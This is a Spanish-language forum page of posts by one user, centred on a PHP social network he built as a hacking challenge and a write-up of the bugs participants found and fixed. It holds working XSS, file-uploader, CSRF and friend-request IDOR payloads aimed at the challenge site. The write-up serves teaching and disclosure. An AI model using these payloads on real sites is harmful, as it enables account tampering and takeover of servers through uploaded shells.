Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Bartz

#181
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
no creo que pueda solucionarse..
En ese caso podrias leer o ver algun video sobre la lucha de Aaron Swartz y su lucha por los derechos que hoy tenemos en internet, por ejemplo Creative Commons y gracias a su activismo/hacktivismo la ley SOPA no tuvo lugar alla por el 2010
El hacking en si mismo no va a cambiar las cosas, es la manera en que se lo usa, es solo una herramienta en la lucha en contra de las grandes corporaciones que solo les interesa el dinero..
#182
Yo estuve haciendo algunos por aca
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#183
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Bien, me registré como lautaroculic. Agarren mi ID y agrégense que no tengo tiempo. En cuanto tenga el mío haré mis propias pruebas.

Mis primeras impresiones fueron muy buenas, te felicito @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hiciste un muy buen laburo.


Saludos

Creo que te confundiste de post bro xD
Gracias !! jaja
#184
Wargames y retos / Soluciones
Noviembre 24, 2018, 02:18:17 AM
So.. Decidí volcar las vulnerabilidades y arreglos en este mismo post :D

Vuln 1 Cross Site Scripting (XSS)
Importancia: CRITICA
By @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

En varios inputs, los datos que se ingresaban no estaban siendo validados, lo que resultaba en la ejecución de codigo albitrario desde el lado del cliente, y cada vez que alguien veia la publicación le saltaba el 'cartelito' del Alert

Ejemplo:


Código: text
<script>alert("Hacker");</script>
<h1>Puedo poner un titulo</h1>


O uno mas complejo en el cual me dejó de regalo un uploader que permitia subir cualquier archivo:

Código: text
<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Archivo subido!</b><br><br>';
}else { echo '<b>Upload Fail!</b><br><br></font>'; } }  ?>

Es mas, de tanto romper su perfil, nuestro amigo ANTRAX tuvo que pedirme que se lo arregle desde la BD porque lo habia destruido por completo  ::)


Solución

Limpiar los valores que se introducen en los inputs.
Para eso se usaron dos funciones, la primera hace uso de htmlentities que permite mostrar en pantalla los caracteres especiales pero los almacena como ASCII en la base de datos, logrando que no tengan efecto en la pagina.
La use dentro de una funcion propia para que si en algun momento tengo que cambiar htmlentities por otra cosa solo cambiarla desde aca y no tener que recorrer todo el codigo

Documentación: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Código: text
function limpiarentrada($input){
    $clean = htmlentities($input);
    return $clean;
}


La segunda funcion reemplaza cualquier caracter especial por un equivalente o lo elimina, esta fue usada en la parte de 'editar perfil' por ejemplo

Código: text
function sanitize($string) {
    $clean_name = strtr($string, array('Š' => 'S','Ž' => 'Z','š' => 's','ž' => 'z','Ÿ' => 'Y','À' => 'A','Á' => 'A','Â' => 'A','Ã' => 'A','Ä' => 'A','Å' => 'A','Ç' => 'C','È' => 'E','É' => 'E','Ê' => 'E','Ë' => 'E','Ì' => 'I','Í' => 'I','Î' => 'I','Ï' => 'I','Ñ' => 'N','Ò' => 'O','Ó' => 'O','Ô' => 'O','Õ' => 'O','Ö' => 'O','Ø' => 'O','Ù' => 'U','Ú' => 'U','Û' => 'U','Ü' => 'U','Ý' => 'Y','à' => 'a','á' => 'a','â' => 'a','ã' => 'a','ä' => 'a','å' => 'a','ç' => 'c','è' => 'e','é' => 'e','ê' => 'e','ë' => 'e','ì' => 'i','í' => 'i','î' => 'i','ï' => 'i','ñ' => 'n','ò' => 'o','ó' => 'o','ô' => 'o','õ' => 'o','ö' => 'o','ø' => 'o','ù' => 'u','ú' => 'u','û' => 'u','ü' => 'u','ý' => 'y','ÿ' => 'y'));
    $clean_name = strtr($clean_name, array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss', 'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u'));
    $clean_name = preg_replace(array('/\s/', '/\.[\.]+/', '/[^\w_\.\-]/'), array('_', '.', ''), $clean_name);
    $clean_name = strtolower($clean_name);
    return $clean_name;
}


Ya con esto logramos que el proximo que lo intente quede en el intento








Vuln 2 Shell Upload
Importancia: CRITICA
By @hielasangre & @Olger346

Por no haber checkeado el MIME type del archivo a subir se permitia subir cualquier tipo de archivo, Claro está que no iba a ser aprovechado para subir un GIF y no un JPG, sino que iba a ser utilizado para subir una shell que les permitiera tomar control del sitio


Solución
Chequear el tipo de archivo a subir, y solo permitir imagenes

Documentación: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login



Vuln 3 Cross Site Request Forgery (CSRF)
By @hielasangre

La vulnerabilidad permite a un sitio externo enviar peticiones a nuestro sitio, por lo que las personas que visiten un link le darían like a una publicación sin darse cuenta por ejemplo.

Ejemplo y Proof of Concept (POC)

Código: text
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>



Con la misma vulnerabilidad CSRF si el atacante podia enviar un link en el cual permitia cambiar todos los datos del perfil

Código: text
<html>
<body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
</body>
</html>


Gracias por los videos POC @hielasangre

Solución
Utilizar un token en un campo "hidden" para verificar que se este accediendo a los formularios desde el sitio original y no externamente
Material: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login




Vuln 4 Execution After Redirect
By @Nobody

Esta Vulnerabilidad consta de seguir ejecutando el código de la página luego de una verificación

Ejemplo:

Código: text

    <?php
     
    $_SESSION['username'] = "user";
     
    if ($_SESSION['username'] !== "admin")
    {
            header("Location: index.php");
    }
     
    echo "Priv8 zone!";
     
    ?>


Solución
colocar un exit(); debajo del header location.




Vuln 5 Input Validation
By @Nobody

Por no haberle asignado un nombre unico a cada foto que se subia, si el nombre de una coincidia con una que ya habia sido subida, la imagen se reemplazaba

Solución
Usar un tipo de ID único, agregandole la función uniqid() antes del nombre del archivo a subir




Vuln 6 Insecure Direct Object Reference
By @Nobody

Era posible "auto aceptarse" la solicitud de amistad manipulando los parametros GET de la cabecera

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=VictimaID&&accion=1

Tambien era posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 6
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Solución
Arreglar la funcion que recibe esos parametros asegurandose que sean diferentes al usuario que se encuentra logueado actualmente

Vuln 7 Input Validation
By @Nobody

Se podia recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Solución
Arreglar las consultas a la base de dato para que no introduzcan valores repetidos


#185
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Vuln 1. Execution After Redirect

La red social es vulnerable a EAR, que consta de seguir ejecutando el código de la página luego de una verificación, ejemplo:

Código: php
<?php

$_SESSION['username'] = "user";

if ($_SESSION['username'] !== "admin")
{
header("Location: index.php");
}

echo "Priv8 zone!";

?>


La solución es colocar un exit(); debajo del header location.

Vuln 2. Input Validation

Por lo que vi, las imágenes subidas a las publicaciones se guardan como USERIDnombre_de_la_foto.ext.
Por ejemplo, user id = 1, foto = cat.jpg, resultado = 1cat.jpg
Si yo subo una foto de un gato con el nombre "cat.jpg", y luego, en otra publicación subo una foto de un perro con el mismo nombre (cat.jpg), se sobrescribe la foto anterior.
La solución sería usar algún tipo de ID único, como la función uniqid() de PHP.

Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=ID&&accion=1

Vuln 4. Input Validation
Es posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 3.
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Así mismo, es posible recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Vuln 5. Input Validation
Al registrarse, verifica correctamente si se utiliza un nombre de usuario ya existencia, pero esto no sucede al editar el perfil, pues puedo utilizar usuarios ya registrados (en este caso utilicé el tuyo), bloqueando la cuenta "duplicada", pues, es imposible loguearse.

P.S.: Deberías agregar un captcha al registro, para evitar spambots que creen miles de cuentas a la vez.
POST /socialc0de/registro.php
nombre=&usuario=&contra=&pais=&profesion=&edad=10&registrar=Registrar
Saludos.

Te pasaste hermano ! Me has dado tarea para hacer ! jaja
Gracias por participar ! :)


PD.:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Vuln 3. Insecure Direct Object Reference
Es posible "auto aceptarse" la solicitud de amistad (Gracias Bartz por aceptarme como amigo ;D ;D)
A esa no te la cuento porque igual te hubiera aceptado ! jajajaja
#186
Dudas y pedidos generales / Re:Ayuda: no inicia sqlmap
Noviembre 21, 2018, 02:38:05 PM
Nose porque el comando que usaste apunta a una imagen  :o Deberias correrlo desde la consola con python, para abrir la consola presionas windows+r y en la ventana que abre escribes "cmd"
Una vez dentro de la consola corres 
Código: text
python "C:/Users/user/Desktop/sqlmap.py" -h 

Recuerda cambiar la ruta por donde se encuentre el scriptSaludos!
#187
FIXED ! :)

A ver que mas se puede encontrar !
#188
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
PoC CSRF



Voy a tener que investigar como solucionar esto ya que no tengo ni idea de porque ocurre xD, en el caso del iframe de dar me gusta me suena claro ya que los parametros se envian por $_GET pero aqui que es por $_POST me has perdido jaja
Te molestaria pasarme el "payload" del boton ?
#189
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
De todas formas como es blackbox, me dirás si los archivos fueron subidos o no. (validar mime type)
si fueron subidos xD
#190
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Btw: solo a manera de recomendación, ya que me gustó bastante todo, sería genial que la pusieras en github o hacer un review para linkedin, uno nunca sabe cuando proyectos como este puedan darte una buena oportunidad laboral.
Es verdad, es una buena manera de mostrar lo que uno puede hacer.. Gracias por el incentivo @You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login :)
#191
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Permite subir todo tipo de archivos, es por eso que pude realizar ejecución de código de manera arbitraria.
Vaya descuido xD
Felicidades bro !!
Ya sale el fixeo de esa vuln asi esto se pone cada vez mejor (:

btw, el error es en el archivo de la foto perfil solamente, no ? osea que en el subir de index.php no te lo permite o si ?
#192
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Al no contar los likes con un token de validación o algo similar, con este sencillo código, las personas que visiten un link le darían like sin darse cuenta.

Código: text
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>

Eso funcionaria solo si se encuentran logueados en su cuenta, la funcion de agregar me gusta requiere el codigo de usuario que esta en la variable global $_SESSION
#193
Hola a todos !
La cosa es que estoy aprendiendo PHP e hice una red social para Underc0de en la cual pueden probar todas las maldades que se les ocurran.
Por un lado es muy bueno para quienes se inician en el hacking para buscar vulnerabilidades ya que como yo me estoy iniciando en lo que es PHP seguro hay varias vulnerabilidades en la pagina. 

Les agradezco todas las criticas y sugerencias !

Registrense, envien algunas solicitudes y no tengan piedad  :P


Les pido 2 cosas:

       
  • Cuando se registren dejen su nombre de usuario en este post
  • Al encontrar alguna vulnerabilidad o bug comentenlo aqui mismo, ya que la idea es hacer un post de como explotar y fixear dichas vulnerabilidades.




Para ingresar al Reto, les dejo el link: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Let the game begin !
#194
Dudas y pedidos generales / Re:Aprender Java lo básico
Noviembre 16, 2018, 07:20:22 PM
Aca te dejo un enlace para que puedas aprender desde cero, todo el material es muy completo y en español

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Es del Programa 111mil de Argentina
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#195
Underc0de / Re:Participá y ganá la remera de Underc0de!
Noviembre 15, 2018, 12:10:39 AM
Que siga creciendo esta familia che !

Bartz~
#196
Seguridad web y en servidores / Re:SQL Injection
Noviembre 05, 2018, 10:43:49 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
El unico problema que le veo es que quedo bastante flojo se ve poco contenido y mucha teoria de redes tienen que mejorar por el valor hoy dia conviene probablemente alguno extranjero...
Tuve la suerte de hacer el mismo curso y creo que esta buenisimo para quien recien se inicia y no tiene ningun conocimiento, porque te da un 'pantallazo' de todos los temas, pero no alcanza el tiempo para alcanzar un mejor nivel o aprender de verdad cada tecnica..
Yo personalmente una vez que lo terminé agarre el temario desde el principio y empecé a meterme mas a fondo en cada tema. Pero coincido en lo que decis que talvez convenga mas uno de afuera por el valor
#197
Presentaciones y cumpleaños / Re:me presento (de 0)
Noviembre 01, 2018, 04:52:41 PM
Bienvenido !!
#198
Comenzando a programar con php
Hola Underc0ders ! Este post va desde la instalación de los servicios hasta nuestro primer 'hello world' en php.

Lo primero que vamos a hacer es descargar XAMPP

Citar¿Qué es XAMPP? XAMPP es el entorno más popular de desarrollo con PHP XAMPP es una distribución de Apache completamente gratuita y fácil de instalar que contiene MariaDB, PHP y Perl. El paquete de instalación de XAMPP ha sido diseñado para ser increíblemente fácil de instalar y usar.

       
  • DESCARGA
Link de descarga -->You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login descargar la versión 7.0 ya que es la mas actual y la que se va a seguir usando los proximos años, ya que las versiones 5.x estan llegando al fin de su soporte




       
  • INSTALACIÓN DE XAMPP
La instalación de XAMPP es realmente muy facil asique no vamos a detenernos en ese paso.

Una vez que ya se haya instalado vamos a tener la ventana principal de XAMPP donde tenemos los botones para inicializar los servicios


A este punto esta todo bien instalado y con las configuraciones predeterminadas, en el caso de querer establecer alguna configuración en algun servicio, tenemos el boton de 'configure'
Una buena manera de saber que se instaló de manera correcta es iniciar el servidor apache e ir en el navegador a 127.0.0.1 o localhost y ver que nos lleve a la pantalla del 'dashboard' como se ve a continuación


Y tambien si iniciamos el servidor de MySQL podemos dirigirnos a 127.0.0.1/phpmyadmin y ver el panel de configuración de las bases de datos






       
  • CREANDO NUESTRO PRIMER PROYECTO
La carpeta del proyecto tiene que ir dentro de nuestra carpeta 'htdocs' de XAMPP, en mi caso
Código: text
/opt/xampp/htdocs/primer_proyecto

Una vez que ponemos algo dentro de 'htdocs' ya es accesible desde nuestro navegador, osea que si pongo un archivo index.php dentro de la carpeta htdocs, podria acceder desde
Código: text
127.0.0.1/index.php

o si lo pusiera dentro de la carpeta del proyecto seria
Código: text
127.0.0.1/primer_proyecto/index.php

Elijan el IDE que mas les guste, pero en mi caso elijo PHPstorm, ya que trae integrado todo lo que es HTML5+CSS3+Bootstrap, JavaScript, Jquery, reconoce las sentencias de MySQL, y obviamente PHP..
Asique por todo esto es que este editor me encanta <3

Consejo:
En el caso de que el IDE abra los archivos como Read-Only es porque la carpeta de instalación de xampp pertenece a $root y no a tu usuario, si te pasa eso  se soluciona con el siguiente comando
Código: text
sudo chown -R afaik /opt/lampp/htdocs

o
Código: text
cd /opt/lampp/htdocs
sudo chmod 777 -R carpeta_del_proyecto

Luego de esto ya estamos listo para probar nuestro primer pedacito de codigo
Código: text
<?php echo 'Sup World ?! " ?>



Es algo basico pero espero que ayude a quien este empezando a programar en este lenguaje
Y eso es todo ! Estamos listos para empezar a programar en PHP ! Saludos ! :D
#199
Presentaciones y cumpleaños / Re:Aprendiendo desde 0
Octubre 26, 2018, 12:54:10 PM
Bienvenido !!
Aqui estamos todos para aprender juntos, con consejos de los mas experimentados y los novatos compartiendo nuestras You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login logran muy buenas cosas con las ganas de aprender !

Te dejo un post mio que talvez te pueda ayudar a iniciarte  :)
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y tambien chequea los post de las diferentes secciones que hay varios 'temarios' sobre como comenzar en esto, que aprender, practicar y demas
Saludos !
#200
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login Gracias por la respuesta tan detallada bro ! es una gran ayuda  ;D
Ni bien lo solucione subo aca abajo el fragmento de codigo para poder ayudar al proximo que venga con esta duda. Saludos !!